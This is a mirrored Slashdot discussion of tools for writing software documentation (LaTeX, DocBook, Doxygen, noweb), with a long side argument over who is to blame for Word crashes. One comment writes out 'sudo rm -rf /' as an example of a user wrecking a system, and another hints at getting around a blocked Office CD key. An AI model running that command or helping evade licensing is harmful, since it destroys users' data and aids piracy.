Slashdot Mirror


Writing Documentation

twms2h queries: "It is everybody's favorite task, the worst part of programming: writing the documentation. I have been charged with writing lots of documents, some smaller some larger, most of them documenting programs I wrote myself. In order to avoid the torture of fighting with Microsoft Word all the time (which crashes on me regularly) I am looking for an easy way to get printed and electronic (HTML/PDF) documents from as simple a source as possible. I have looked into several of the processing tools that are available on the net." Below is twms2h's take on a few of the documenting systems available. The preference is to keep things simple, editing ASCII files to produce high quality documentation. Are there other tools some of you know of that might prove to be better solutions?

"So far, I like aft, mostly because it is simple to use, and gives me nice result as HTML. Unfortunately HTML is not enough, since I also need a very good looking printable version.

There are alternatives like DocBook, which I could not get to work and udo (Page is German, get the translation from the fish) which I have not yet looked into very closely.

Then of course there is TeX and any number of WYSIWY-won't-G word processors. I haven't used TeX much, I only tried my luck in writing a few letters (and found out that it is not suitable for this). I went through hell when I wrote larger documents with various versions of MS Word and I am not really a fan of Star Office even though version 5.2 has not yet crashed on me (however 6.0 beta did). KWord, part of KOffice doesn't seem to be stable enough yet.

I would prefer a simple ASCII only format as the source for being converted to more complex formats anyway, especially since it could be easily put into CVS for version management (Anybody tried that with MS-Word documents? Don't!)

As all these projects show I am not the first one faced with this problem. I wonder what experiences Slashdot readers have had with these and other packages?"

583 comments

  1. PEBKAC by way0utwest · · Score: 1, Offtopic

    Not to disparage any other product, open source or not, but if Word is crashing on you regularily, you are doing something wrong.

    I've use all versions of Word from v2.0 to 2000 (no XP) and while I have had crashes, they are rare. I have written over a hundred articles, averaging 1300 words and a book using Word and have lost very little.

    1. Re:PEBKAC by poot_rootbeer · · Score: 0, Flamebait

      Not to disparage any other product, open source
      or not, but if Word is crashing on you regularily,
      you are doing something wrong.


      Oh, SHUT UP.

      A program crashing should NEVER be the result of something the end-user does. If a software crash is EVER possible, it's because someone wrote some poor code somewhere.

      (Yes, if the user has an unreliable RAM chip in their system or something else that causes hardware wonkiness, then a program crash is understandable. But that wouldn't be "something [the user] did"...)

      -Poot

    2. Re:PEBKAC by mcelrath · · Score: 5, Insightful
      Uh, wrong.

      If an application crashes, it's the developer's fault. Period. End of story. It is NEVER the user's fault.

      To answer the article's question. I recommend LaTeX, LyX, latex2html (comes with LaTeX), and dvipdf (comes with ghostscript).

      --Bob

      --
      1^2=1; (-1)^2=1; 1^2=(-1)^2; 1=-1; 1=0.
    3. Re:PEBKAC by dperkins · · Score: 1

      I agree. If your system is crashing all of the time, you must be using either Win98 or WinMe. I haven't had office 2000 crash on Windows 2000 ever. I also have written a lot of articles on this configuration with versioning enabled. However, I have had WordXP on Windows XP crash a number of times using versioning. I would avoid the upgrade to Office XP for the time being.

      --
      My sig hates me. That's ok, I never cared for it much anyway.
    4. Re:PEBKAC by Anonymous Coward · · Score: 0

      If an application crashes, it's the developer's fault. Period. End of story. It is NEVER the user's fault.

      Hardware issues?
      Misconfigurations?

      If it was a linux program, would you say the same thing?

    5. Re:PEBKAC by Anonymous Coward · · Score: 0

      You would think that would be true but I have been amazed at what some can accomplish. I know one particular person who I am convinced could crash anything she works on. She is just severely jinxed.

    6. Re:PEBKAC by Anonymous Coward · · Score: 0

      Averaging 1300 words ( * 5 characters per word, = about 6K bytes) is NOTHING.

      Word has a nasty habbit of eating documents that are 5 pages or more, I've had to help several people try to recover documents longer than 20 pages. Anything more than 10 pages in word is looking for trouble.

      And we won't even discuss how slow it gets if you include graphical screenshots.

    7. Re:PEBKAC by mr.e · · Score: 1

      _Please_ explain what a user could possibly do wrong that would crash an office program, and it be his fault.
      (other than the user editting the word binary i can't see a crash being the users fault)

    8. Re:PEBKAC by Anonymous Coward · · Score: 0

      I disagree. It's obvious it's the user's fault, they chose to use a Microsoft product...

    9. Re:PEBKAC by Anonymous Coward · · Score: 0

      I have been using Word XP and have had plenty of crashes. It seems that almost every time I try to use it, something freezes. It has also caused several graphical glitches that go away when Word XP is closed. I think the problem may be related to opening several documents that are written in different versions of word.

    10. Re:PEBKAC by negativekarmanow+tm · · Score: 0

      Yes, well, but if some ignorant fuck has been installing all sorts of crapware, THAT could interfere with your precious application too. Nothing you can do about that.

      --
      No security through obscurity: my password is goatse. Stop me before I troll again.
    11. Re:PEBKAC by mrscott · · Score: 1

      I have been using Word for years, consistently with documents MUCH larger than 10-20 pages (some with over 100) and don't have these kinds of problems. Most of my large documents are training manuals and hence, include an inordinate number of screenshots/graphics. I did have a few problems when I was running Word under Win9x, but under NT/2000, smooth sailing for docs of any size. Scottt

    12. Re:PEBKAC by Kallahar · · Score: 3, Interesting

      Uh, wrong.

      Sometimes it is the hardware, malicious programs, other programs, or the operating system too.

      You're right that it isn't the user's fault, but the blame can fall on any of the developers of any running software or hardware on the system, not just the application's developer.

      Or, to sum it up, blame microsoft since they do it all :)

    13. Re:PEBKAC by Anonymous Coward · · Score: 0
      crashing should NEVER be the result of something the end-user does.

      You can drive like shit or you can drive responsibly.

      If you drive like shit then you have a better chance of getting in an accident. That accident isn't the auto-manufacturer's fault, provided the manufacturer has taken reasonable measures to ensure the auto won't crash.

      why not the same for software? i've been able to crash all programs i've tried to crash (excepting the best written "hello world"s) but since i like being able to work i dont try to crash software, unless i need to for some other reason.

    14. Re:PEBKAC by Gzusfreak · · Score: 1, Interesting

      I disagree with you. Are you saying that if I develop an application to work with a piece of hardware and that hardware needs a specific configuration. I tell the user the configuration that is needed, and the user screws up and configures it wrong that it is my fault?

      98-99% of application crashes are the developer's fault... the rest, either dumb user of dumb hardware.

    15. Re:PEBKAC by josh253 · · Score: 1

      Are you a Microsoft employee?

    16. Re:PEBKAC by Anonymous Coward · · Score: 0
      Bollocks. The problem with Linux users (and now Windows users) is that it's 'stable enough' for people to disbelieve any problems. They say it must be something wrong with their configuration.

      I've crashed Linux, I've crashed Windows, and Amigas, and OS/2, and I've locked-up BeOS -- all by doing regular things on flawless hardware. It only happens rarely, but it's reproducible across hardware in the same software - so what does that tell you? I don't own or administer most of the machines so unless there's a conspiracy going around making hardware faults it must be the software.

      Certain large documents saved in elderly versions still crash MS Word. MS Word is more stable than Abiword at large documents, but it's not nearly as stable as OpenWord.

    17. Re:PEBKAC by CrazyBrett · · Score: 1

      Eh, don't be so quick to conclude that...

      First of all, the parent post said "crashes repeatedly", not "crashes once". This implies that the original poster has had few problems with the application (fault of the developer, most likely), and if someone else has many problems, it is likely due to some external configuration, which IS the concern of the user.

      Regardless, I can think of several instances where an application crash is the user's fault (not all apply to Word, specifically):

      1. Opening up task manager and killing random threads in the application.
      2. Using unstable beta/experimental drivers or libraries.
      3. Installing cracked or unsupported plugins/codecs.
      4. Undocumented registry hacks.

      The application can only be blamed for errors in the code itself, not for external conditions.

    18. Re:PEBKAC by Anonymous Coward · · Score: 0
      Not to disparage any other product, open source or not, but if Word is crashing on you regularily, you are doing something wrong.


      He's probably running it under Wine on Linux.

    19. Re:PEBKAC by viking099 · · Score: 3, Interesting

      I have to disagree. The developer does have the most important part in making something not crash, but you can NEVER take into account what a user can/will do. For example, if a user decides that they want to use MS Word as their file manager, and it crashes, is that the developers fault?
      I would edit your statement to say something more along the lines of:
      If an application crashes while being used as it was intended, it's the developer's fault.

    20. Re:PEBKAC by negativekarmanow+tm · · Score: 0

      I've got everything from MS-Hearts to MS-Paint crashing on MY Win98 machine, but Word works without fail. Well, except when I try to embed all my porn files into a .doc file, but that hardly counts does it

      --
      No security through obscurity: my password is goatse. Stop me before I troll again.
    21. Re:PEBKAC by ortholattice · · Score: 2

      I use pdflatex to generate PDF files directly, instead of latex -> dvipdf. It comes with the latex package. I recall there were some problems with some documents with the two step process that went away with pdflatex, but it's been a long time since I used dvipdf and I can't remember the details. I've never had a problem with pdflatex.

    22. Re:PEBKAC by pmz · · Score: 2, Insightful
      Quite simply, no two MS Windows systems behave the same. The configuration control in Windows is so poor that MS Word might work great on one computer and never work well on another. If a person likes to install a variety of software from a variety of sources...well, then, pretty much all bets are off. In general, the less sofware installed on a Windows system, the better. This isn't an argument for installing only Microsoft software; this is an argument that Microsoft produced an OS that can't be managed well.

      ...as for the article, LaTeX is always good (even for writing letters), Doxygen with C++ seems pretty good, too, but, as always, plain text is best.

    23. Re:PEBKAC by negativekarmanow+tm · · Score: 0

      I've got everything from MS-Hearts to MS-Paint crashing on my win98 machine, but word2000 works without fail. That is, as long as I don't try to embed my entire porn collection into a single .doc file.

      --
      No security through obscurity: my password is goatse. Stop me before I troll again.
    24. Re:PEBKAC by darkwiz · · Score: 1, Offtopic

      This is just short sighted. Application crashes are not ALWAYS the app developer's fault. In many circumstances, they are. But the app developer may be using libraries that the user can upgrade/interchange, that the app developer has nothing to do with implementing (such as glib). If there is a bug in the library they call which causes an obscure crash or the user changes the library to an unstable version, you can hardly blame the app developer.

      Secondly, a surprising number of "crashes" aren't application crashes - they are hardware issues (conflicts, heat problems, failure, etc), driver issues (some call they make to a graphics routine tickles the video driver in a bad way), and OS problems (deadlock, Microsoft, bugs). What most people interpret as a crash (especially in OS's where a single application can easily take down the entire system, like Win9x), looks identical in these circumstances; the computer ceases to respond. Even experienced computer users can have a difficult time assigning blame.

      And to be on topic: when selecting a documentation system, look for one that avoids redundant work. With lesser tools, you will have to update documentation in your code comments as well as in your design documents. Maintainence is everything here, and if you have to double commit all alterations, you will become frustrated very quickly. Hence why a source code parsing tool [like Doxygen] is probably the better choice, regardless of the features of other programs.

    25. Re:PEBKAC by negativekarmanow+tm · · Score: 0

      How's THAT for redundancy!
      I guess slashdot DID accept the first one.
      Ow well, the more crap the merrier

      --
      No security through obscurity: my password is goatse. Stop me before I troll again.
    26. Re:PEBKAC by einhverfr · · Score: 2

      OK. Aside from those rare people that have an ability to go down a row of Linux (or Windows 2k, or Mac OS X) machines and cause every single one to stop responding (yes, I have known a few such people), it is never the fault of the user. (OK. Here it is probably not the user's fault either, but in these rare cases, it may not be the developers' fault either).

      I knew one person who could crash not only every computer she ever worked with but also managed to crash telephones with amazing regularity... I suspect the cause here is electromagnetic ;)

      But aside from these rare instances, program crashes are the result of bad code somewhere, not the result of anything relating to the user. Code, ideally, should be designed to stand up to all user experience.

      --

      LedgerSMB: Open source Accounting/ERP
    27. Re:PEBKAC by Tattva · · Score: 1
      Anyway, if you don't want to use word but are writing for Windows, I suggest editing your documents in MS Frontpage. Frontpage doesn't have the heft of Word and is fairly intuitive, IMO. You will also need to download the MS HTML Help Workshop if you wish to have an online version of your help. You can get it here.

      Just print out your help from IE for your documentation or from your favorite HTML viewer/printer. For online use, the Workshop will create a .chm file which can be used in the Microsoft HTML Help viewer, the same viewer used by the MSDN help that you use with Visual Studio.

      --
      personal attacks hurt, especially when deserved
    28. Re:PEBKAC by Anonymous Coward · · Score: 0

      Blah blah anecdotal blah blah. I've had problems with Word just trying to use the features of the program in the way they were intended, and had those problems confirmed as bugs by MS support.

      People who are forced to use Word for technical writing typically have lists of workarounds for bugs that get in the way of them trying to do their jobs. Before you recommend Word for documentation, article man, try *using* it for documentation and you'll see it in a whole new light.

    29. Re:PEBKAC by Anonymous Coward · · Score: 0

      Are you sure we don't work with the same women? She was just in my office earlier today complaining about something else. This time however it was a network problem (not MS related) but she was still the first to complain. Maybe she was actually the one who caused it. I would love to see a scientific study of someone like that. Maybe she does have a positive (or negative) charge.

    30. Re:PEBKAC by Thorin_ · · Score: 1

      No, if you are writing large amounts of documentation and putting screen shots in word can get very crash prone. If you are just writing text word is great, but when adding screen shots it can crash all the time.

    31. Re:PEBKAC by Danse · · Score: 1

      If Word includes features that make it possible for a user to manage his files with it, then yes, it is the developer's fault if it crashes.

      --
      It's not enough to bash in heads, you've got to bash in minds. - Captain Hammer
    32. Re:PEBKAC by iamabot · · Score: 2, Funny

      I blame society.

    33. Re:PEBKAC by Gzusfreak · · Score: 1

      I partially agree with you, but I cannot tell you how many times I have seen users excede the limits of hardware causing an application to fail. ie. Print 30MB to a little bitty deskjet printer.

      This indeed is not the developers fault, but is indeed the user's fault... I've seen it before...

    34. Re:PEBKAC by Anonymous Coward · · Score: 0

      Oh puleeze. Around here we call it Microsoft Worst. Today is typical: a blue screen (this is Worst 2000 under Windouhs 2000 mind you, with all service packs applied) and a skipped page printing a double-sided user manual, making all subsequent pages off-by-one. Yes, I have plenty of disk space, memory, etc.

      Having used this since version 5 (DOS) for thousands of pages of user documentation I sneeze on *your* expertise. Crashes are frequent, especially as the document page count increases. (Yes, subdocuments help, but they bring their own problems to the table.)

      Besides, have you ever looked at Worst's HTML output? Hideous. (Worst97's .HTM docs *crash* W3C's html validator.) PDF output? Sorry, Worst doesn't do it. (Does anyone know of a word processor that saves direct to PDF? Why not?)

      StarOffice/OpenOffice works OK for tiny stuff (like 1300 word articles) but I'm a little leery of using it for full-blown documents. (I've seen the source code.)

    35. Re:PEBKAC by c0rtez · · Score: 1

      Not in my office!! if an application crashes, its MY fault, because obviously I was messing with someones files. It doesnt matter if they didn't know wat all those .dll files were and so they deleted them. Duh!

    36. Re:PEBKAC by Anonymous Coward · · Score: 0

      Complete bullshit. If you run a windows app under WINE then it's probably NOT the developer's fault, unless you mean the developer of the buggy WINE emulator.

    37. Re:PEBKAC by mcelrath · · Score: 2, Insightful
      Hardware issues?

      It's a word processor, not a hardware driver. Unless ALL your apps are crashing, it's the software developer's fault.

      Misconfigurations?

      Again, the developers fault. The application should perform predictably and not crash for all possible combinations of configuration. You cannot possibly prescribe or predict what users will do with your application that you might not have anticipated.

      If it was a linux program, would you say the same thing?

      Absolutely.

      --Bob

      --
      1^2=1; (-1)^2=1; 1^2=(-1)^2; 1=-1; 1=0.
    38. Re:PEBKAC by Gannoc · · Score: 1
      If there is a bug in the library they call which causes an obscure crash or the user changes the library to an unstable version, you can hardly blame the app developer.

      Agreed. In the case of Word, you don't know whether its the developers of Word or the developers of the Windows libraries that are at fault.

      Oh wait.

    39. Re:PEBKAC by Anonymous Coward · · Score: 0

      The quote was ANY app crashing is the software writers fault, not just word.

      Another thing to note is the other stuff (bloatware, internet crap) that people d/l that could grab resources that word needs.

      If I buy a car from ford (which ford has done their share to put in safety features), and I drive it like a maniac and get into an accident, can I sue ford?? Isn't it their fault??

    40. Re:PEBKAC by quan74 · · Score: 1

      Saying that it's the code's fault is like saying that automobiles should be built to withstand a 150 mph impact, afterall, it's not the operators fault that they drove at 150 MPH into a brick wall, the car should have been built to withstand it.

    41. Re:PEBKAC by Carpathius · · Score: 2, Informative

      A user level app shouldn't crash from anything a user does to it. Period. If it does, than either there's a fault in the app or a fault in the OS, and it's usually in the app.

      Correct and complete error checking is difficult, and I've messed it up more times than I'd like to admit. But darn it, I do try. I once had a professor who showed us two versions of the same program, one with error checking, and one without. The one with was easily four or five times as large as the one without. On the other hand, it didn't crash. (As far as I know.)

      It's not the same as driving a car. Within an application you can anticipate all possible ways of use and limit the user to those things which make sense. An auto manufacturer can't keep a stupid person from driving into a brick wall without causing the car to be useless in the process.

      Sean.

    42. Re:PEBKAC by dillon_rinker · · Score: 2

      If an application crashes, it's the developer's fault. Period.
      True. And when a car is crushed, it is the auto maker's fault. A well designed car would be strong enough to be undented even when by two freight trains simultaneously.

      Also, mechanical problems are the auto maker's fault even if the car owner replaces the every component of the drive-train with completely different ones from other cars and uses tractor tires and runs on kerosene instead of gasoline and uses dishwater in place of oil.

      (Translation: developers CAN develop the perfect, uncrashable app, but there are many competing constraints; cost is not the least of these. And in a Windows world, developers should not be blamed if their application fails to function because the user has upgraded the OS three times and said "Yes" every time an application asks "The current version MSVCRT40.DLL is newer than the copy replacing it. Replace it anyway?")

    43. Re:PEBKAC by moyix · · Score: 1

      Reacting to errors is a vital part of any good code. A user kills off a random task that Word depends on? Word should pop up an error message, allow the user the chance to save his work, and then close if it is unable to continue. Crashing is not a good way of dealing with problems.

      I also assume that when he says "crashes repeatedly," he's talking about the application itself, and not the OS in general--hence cracked codecs, odd drivers, and the like shouldn't be messing with Word at all. (I realize that I'm speaking from a dream world where all applications have their own, protected memory, but that's not the user's fault).

      I don't quite understand the original poster's reluctance to use TeX or LaTeX; there's a good, easy to use editor (LyX) available, and with minimal effort I've been able to make documents look a lot better than I could have in MS Word. TeX was also designed to convert to a whole mess of different formats, and it (or rather, a helper program) can convert to nearly any end format you desire.

    44. Re:PEBKAC by quan74 · · Score: 1

      Reminds me of a user here, who built a powerpoint presentation (like 3 slides) and on one side had inserted about 50 1024x768 jpg's and resized them down to about 1" square each. He couldn't figure out why one little presentation would barely run on his laptop, and took over 25MB of damn disk space....

    45. Re:PEBKAC by FortKnox · · Score: 2

      If an application crashes, it's the developer's fault. Period. End of story. It is NEVER the user's fault.

      I poured lead shavings all over my computer and monitor. Since you've proven it isn't my fault that the programs don't work right, I'm gonna go sue Dell!

      Maybe you shoulda said "most crashes" instead of "all"??

      --
      Good quote, too many chars. Seriously, the slashdot 120 char limit sucks!
    46. Re:PEBKAC by WMNelis · · Score: 1

      If the car's steering wheel fell off, (assuming it was not loosened by anyone), would that not be the fault of the manufacturer?

      --

      Sig free since 2/6/2002
    47. Re:PEBKAC by ComputerSlicer23 · · Score: 1

      A well administered machine, will run just fine, a poorly administered machine will not. Word might be running just fine, but the interaction between various DLL's could be the problem and the user is in need of a patch or upgrade. Just like a user having trouble with Linux software running a 2.4.0 kernel might have some issues. This is like saying it is Ford's fault that the my engine locked up because I didn't change the oil in the first 150,000 miles on my truck. Computer are not embedded systems. They are things that must be checked up on, and they need to have maintience. Yes it is the programmers fault, but the programmer might have a fix out, and you didn't go get it. I have seen very, very few issues that couldn't be solved on well administered machines with current patches. Why else does one need an SA?

    48. Re:PEBKAC by Omnifarious · · Score: 5

      A car crash isn't the same as an application crash, sorry.

      Almost all application crashes are the developers fault. Only a very tiny percentage (< 0.001%) of application crashes are ever the users fault. Some of them may happen because the hardware or OS is buggy. But, that's not the user's fault. If the user goes into the registry and totally mucks it up, it still isn't the users fault. Even under Linux. If the user unplugs cards randomly from a non-hotswap PCI bus, that's the users fault. If the user breaks their system in some physical way, it's their fault. It is not ever acceptable behavior for a program to crash in the absence of a physical problem with the computer.

    49. Re:PEBKAC by Anonymous Coward · · Score: 0

      The best solution would be write the docs in XML and then translate them any format such as HTML, LaTex etc. using XSLT.

    50. Re:PEBKAC by Anonymous Coward · · Score: 0

      I sneeze on your comments in general. You say you use Word 2000 but comment on the output to HTML in Word 97? Well why not use Save as WebPage in 2000 which uses XML, is very true to the original, and allows you to take it back into Word.

      As for PDF output you need to install Adobe Acrobat (full version) and then you can very easily create PDF.

      Finally, if you are getting regular blue screens then perhaps you should take a second and see what is causing it. Perhaps there is another application that overwrote a system dll. We had a third party app that decided to over right a dll that was updated with the latest service pack. We reapplied the service pack and Voila - no more blue screens.

    51. Re:PEBKAC by affegott · · Score: 1

      I am in the situation where Word 2000 will not start up on its own. I have to open a word document in Internet Explorer first, then I can load word.

      This is a machine that has all the latest service packs... and no non-microsoft software installed. (expect for Winzip and dnetc :-)

      It worked fine for about 5 months... oh well. Back to pico.

      Ryan

    52. Re:PEBKAC by Anonymous Coward · · Score: 2, Informative

      The main problems with using dvipdf rather than pdflatex are:

      1) The generated pdf files are larger than necessary, since semantic knowledge of the document has been lost between source and dvi forms.

      2) All hyperlinking is lost. pdflatex does a wonderful job of hyperlinking, whereas dvipdf does not have enough information to do so.

      Jason Evans

    53. Re:PEBKAC by ADRA · · Score: 1

      ... What the user does not say is that they are 99% trying to do msword FROM Linux. Obviously this is a WINE problem, not a MSWord Fault.

      Regarding users never do things wrong, that cannot be assumed; Otherwise, microsoft explorer would have to be twice as abstractive just to stop users from erasing important things on their system. The user must have a basic level of comprehension before using any software product. Each product has a different level of difficulty.

      Being on Linux, almost every program has a higher "difficulty" rating, not just because it isn't Windows, but also because most linux programs are writen with systemic perfection as the goal, everything must fit into its perfect mold. Whereas in Mac or Windows, there more of a slant toward usability, and simplicity, even if it means making breaking the old mold every single time around, to get it to work.

      UNIX: Everything is a file (1970's)
      Microsoft: Everything is .NET (2000)

      --
      Bye!
    54. Re:PEBKAC by Anonymous Coward · · Score: 0

      Never the user's fault? That is the most ridiculous statement I've seen today. There are a number of pseudo-intelligent computer users out there who know just enough to tinker with the configurations of their computers. Inevitably, they eventually hose their systems beyond recognition. Yes, this causes many programs to act erratically. It is complete absurdity to believe that 100% of an applications errors are completely due to developer mistakes. (Though of course that accounts for a large majority of the crashes ;) )

    55. Re:PEBKAC by Anonymous Coward · · Score: 0

      Err, it crashes because he is probably using WINE!

    56. Re:PEBKAC by Remote · · Score: 2, Insightful

      Yeah. Considering the prefect program is yet to be written, then there will always be some poor code somewhere.

      Ive been using MS-Word for years too, many versions, on anything since MS-DOS4 to W2K. There are things I dont like in Word, but stable it is.

      For example, my home machine runs Windows like a charm, but if I run Linux/XFree86/KDE/Mozilla and load a page with a few large jpgs (which IE would just eat) it begins to swap and stop responding to *any* imput except for the power CHORD! Once I just let it spin to see how long it would take. AFter 2h40min I gave up. I am sooo obviously doing something wrong, I just cant figure out what it is. So dont tell way0utwest to shut up, hes tryin gto help and giving sound advice.

    57. Re:PEBKAC by PBCODER · · Score: 1

      If the program crashes it IS the programmers
      fault as he/she did not include error traps to
      deal with it.

    58. Re:PEBKAC by Anonymous Coward · · Score: 0
      I agree. He's obviously just taking a quick bash at Microsoft. I'm sure it doesn't crash on him all the time; probably not at all. He's just another geek trying to find a way to do something without using a Microsoft product, even if it:
      • takes him more time
      • costs his employer more schedule and money
      • produces a result which is harder to maintain
      • produces a result which is less (or in-) compatible with what other employees are doing
      • ends up using tools that have more bugs and shortcomings than the product he sought to avoid

      All because he has some hangup with Microsoft, and needs to soothe his ego by showing he's the alpha dog ubergeek.

      I'd fire him if he worked for me.

    59. Re:PEBKAC by Anonymous Coward · · Score: 0

      My girlfriend, who is new to the whole HTML thing, does that with pictures a lot. She builds a site and then just sets the width and height to what she wants. The best part is since we have our own webserver in our place she never knows that the page takes an hour to download. Every so I often I visit her site from work just to make sure its not super slow.

    60. Re:PEBKAC by Anonymous Coward · · Score: 0

      Admittedly, I haven't used Worst2000's .HTML output cause we gave up on direct .HTML publishing after looking at 97's craptacular output.

      Yes, I have Acrobat. My question was: why should I need to buy something from Adobe to get Worst to generate .PDF (which is really the current lingua franca for documentation)? (DONT talk about RTF -- Micro$oft changes that standard at will.)

      Regular crashes for 13 years? Come on, it isn't my system (this machine *never* gets any goofy third-part stuff). The blue screen was atypical, but crashes happen continuously; with Worst2000, non-blue screen crashes leave the
      document locked, meaning a required reboot anyway.

    61. Re:PEBKAC by dodald · · Score: 1

      I hope your joking, (IMO Frontpage is a POS) if your using anything on windows use telnet (or PuTTY) to a *nix box a format in n/troff :) Personally whenever I use Windows I prefer to use Notepad, maybe wordpad if I need mild formatting. For web development, or just small html document creation, nothing beats Macromedia Dreamweaver.

      --
      101010b 2Ah 52o
    62. Re:PEBKAC by Anonymous Coward · · Score: 0

      I am curious. Does Word close immediately after opening? If so, then you are using a discontinued cd key. If you upgrade Office 2000 to SR1a it doesn't allow that key because Microsoft found out that it was the key used in most Warez copies of Office 2000. Either contact Microsoft (if you are legit) or search the newsgroups for instructions on how to get around it.

    63. Re:PEBKAC by Anonymous Coward · · Score: 0

      Yeah sure. And while he's at it, he should come up with a cure for cancer. Where the hell is he going to get an easy to use XML word processor? If it existed, why the hell aren't we ALL using it?

    64. Re:PEBKAC by frisket · · Score: 1
      Forget Word. LaTeX will unquestionably get you the best quality if done right (forget all those bad habits and half-truths about TeX you learned before and RAFM; and install the latest version from the TeX Live CD).

      But LaTeX is just as much a non-reprocessable format as Word. To get multi-format output from a single master you need to step up one level and use SGML or XML. You can then use XSL[T] to create plaintext, HTML, and PDF (direct with FOP or RenderX, or via conversion to LaTeX, which gets you the benefit of decent quality typesetting and a lot of automation). And you will know that your master text is not likely to be obsoleted by a manufacturer's whim. If some dumbass publisher or manager still insists on a Word file, open the HTML and Save As...or make a conversion to RTF. You still get the benefit of proper control over the text.

      But there is a learning curve: it depends on how much more of this you expect to do.

      ///Peter

    65. Re:PEBKAC by mark_lybarger · · Score: 3, Insightful

      yes, if your application needs (or can) work with a specific hardware which requires a specific configuration, then your application should take responsibility to ensure that environment is present. aborts are bad! they should not be tolerated. an application should not allow a dumb user or dumb hardware to crash it.

    66. Re:PEBKAC by Anonymous Coward · · Score: 0

      I agree about the PDF crap. I think that this is just because Microsoft is in bed with Adobe (just look at the favorable comments about XP on the Adobe site). As for the Webpage stuff, I haven't used Word too much but the output from Excel is amazing. The only problem is that it uses several files to get it done which makes publishing it without FTP a chore. You can get around the reboot thing by just copying the file and working off that. I know it is inconvenient but it can save some time in the short run. Just remember to delete the old copy.

    67. Re:PEBKAC by spectecjr · · Score: 2

      I also assume that when he says "crashes repeatedly," he's talking about the application itself, and not the OS in general--hence cracked codecs, odd drivers, and the like shouldn't be messing with Word at all. (I realize that I'm speaking from a dream world where all applications have their own, protected memory, but that's not the user's fault).

      So you expect an Application to work fine when, say, a specific graphics driver blows its stack when you use a brush created in a certain address-range in memory?

      Sure, you can handle errors, but if you can crash the *DRIVER*, and the user-mode portion of *that* is what crashes the app, then what are you going to do?

      --
      Coming soon - pyrogyra
    68. Re:PEBKAC by 3am · · Score: 2

      look at the other comments. a lot of people have used word, and it's worked well for most of them. myself included.

      why does anyone here saying that a microsoft product is not necessarily bad get immediately attacked and discredited?

      word is a good product. better than star office, from my experience in both (admitted a while ago for star office).

      --

      A: None. The Universe spins the bulb, and the Zen master merely stays out of the way.
    69. Re:PEBKAC by Anonymous Coward · · Score: 0

      But then Jefferson wasn't witness to the current American state of affairs.

      If he was, I dare say he'd puke.

    70. Re:PEBKAC by Anonymous Coward · · Score: 0

      Aside from modifying the Word binary directly, the user could:

      1. Modify a DLL directly.
      2. Download a piece of software that has modified a DLL directly.
      3. Download a piece of software that overwrites the a DLL.
      4. Deleted a DLL, on purpose or by accident.
      5. Run an application that is ill behaved.

      If a user is using a piece of software that the rest of the world uses regularly with out problems, it is somthing specific to that users setup.

      Perhaps the term "Doing" might be wrong, as that implies a consistant action that causes the crashes, when it could have been a piece of software that was installed and deleted a long time ago.

      Contrary to your implication, and the outright stated opinion of a previous poster, in the windows world, there is a lot of things a user can do that will cause problems.

      Some of these faults include, but are not limited to, downloading ill behaved holiday topical screen savers, and animated cursors. This is the fault of the user. They should never have been downloaded and installed.

    71. Re:PEBKAC by heikkile · · Score: 2
      but you can NEVER take into account what a user can/will do

      I disagree, strongly. If a program accepts user input, it ought to be prepared for anything. Accepting anything else is a direct way to crashes, security probelms, abuses, and other horrible things. Of course a program does not need to perform well when put to a use it was not intended for, but the least it can do is to fail gracefully. Yes, this means that the programmers will have to pay attention to the remaining 80% of the code, and yes, that is expensive. Just imagine if car producers were blindly assuming that nobody would drive over the speed limits, and would always be able to control their vehicles. How much cheaper cars they could produce! No need for seat belts, air bags, stronger frames...

      --

      In Murphy We Turst

    72. Re:PEBKAC by F452 · · Score: 1

      Thank you. I use Windows exclusively at home and mostly at work. I have an interest in Linux, and may sometime take the time to learn it, but for now I'm using Windows 2000. For me, it is very stable. Word is very stable.

      If you take care of your Windows machine, you can get by just fine.

    73. Re:PEBKAC by cprael · · Score: 2

      Actually, yes. Especially if you use a specific configuration, then say "go configure it", but don't bother to cover your tweaks.

      Example from a few years ago. I was working with Oracle Video Server group. Their docs for the client said "go install and config the client, then install our software." What they didn't realize is that the "as shipped" configuration of the underlying hardware required a _very_ specific configuration to get it to work - including downloading the update patch and installing that OVER the driver set supplied with the hardware. Took a 9-step installation and turned it into a 32-step process. The client-side developers hadn't bothered to tell anybody (nor did they really realize...) that they were using an uprev version of the driver software, not what was shipped.

    74. Re:PEBKAC by Anonymous Coward · · Score: 0


      If the user goes into the registry and totally mucks it up, it still isn't the users fault. Even under Linux. If the user unplugs cards randomly from a non-hotswap PCI bus, that's the users fault. If the user breaks their system in some physical way, it's their fault.

      So if I do 'sudo rm -rf /' and my system breaks it's the fault of a Developer?

      I do something like removing parts of the system I am not supposed to and it breaks it's the fault of a developer?

      DONT BE A FUCKING DICK.

    75. Re:PEBKAC by Mr.+Slippery · · Score: 2
      ...had inserted about 50 1024x768 jpg's and resized them down to about 1" square each. He couldn't figure out why one little presentation would barely run on his laptop...

      So Powerpoint was too dumb to properly scale the JPEGs? Why am I not surprised...

      (Of course, Powerpoint should have been taken out and shot long ago...I have yet to see a Powerpoint "presentation" with any meaningful content. It's PHB-ware, pure and simple.)

      --
      Tom Swiss | the infamous tms | my blog
      You cannot wash away blood with blood
    76. Re:PEBKAC by affegott · · Score: 1

      it gets an access violation. If I load a document first in IE (it opens fine as a word doc)... everything is fine. (As long as I keep that window open. :-)

    77. Re:PEBKAC by grammar+fascist · · Score: 1

      For example, if a user decides that they want to use MS Word as their file manager, and it crashes, is that the developers fault?

      Along those same lines: if a driver decides he wants to use his Volkwagen Beetle as an off-road vehicle and it crashes, is it the engineer's fault?

      --
      I got my Linux laptop at System76.
    78. Re:PEBKAC by uebernewby · · Score: 2

      So Powerpoint was too dumb to properly scale the JPEGs? Why am I not surprised...

      In the same way that your browser is too dumb to scale down JPEG's even if you've explicitly stated in the code that you want them to do so once displayed? C'mon, this is just an example of a Stupid User Bug.

      --

      News and bla for computer musicians: http://lomechanik.net/
    79. Re:PEBKAC by speleolinux · · Score: 1

      I would second Bob's suggestion of LaTeX but combine it with a literate programming system such as noweb (http://www.eecs.harvard.edu/~nr/noweb/).
      In literate programming like noweb you write code and the documentation that describes that code in a document that introduces, describes and the orders the code in the way that is best understood by a human. Later to create the code or documentation for printing you use simple commands (in noweb; notangle and noweave) to extract all the code parts and assemble them into your full program. I write Makefiles to extract PostScript, dvi, HTML and code from my noweb base files. It's really cool but you will have to learn a bit of LaTeX. Yes LaTeX is poor for letters but excells at technical documentation. Have a look at the noweb homepage.
      Best wishes.

      --
      Fun=Linux, caving and anything technical.
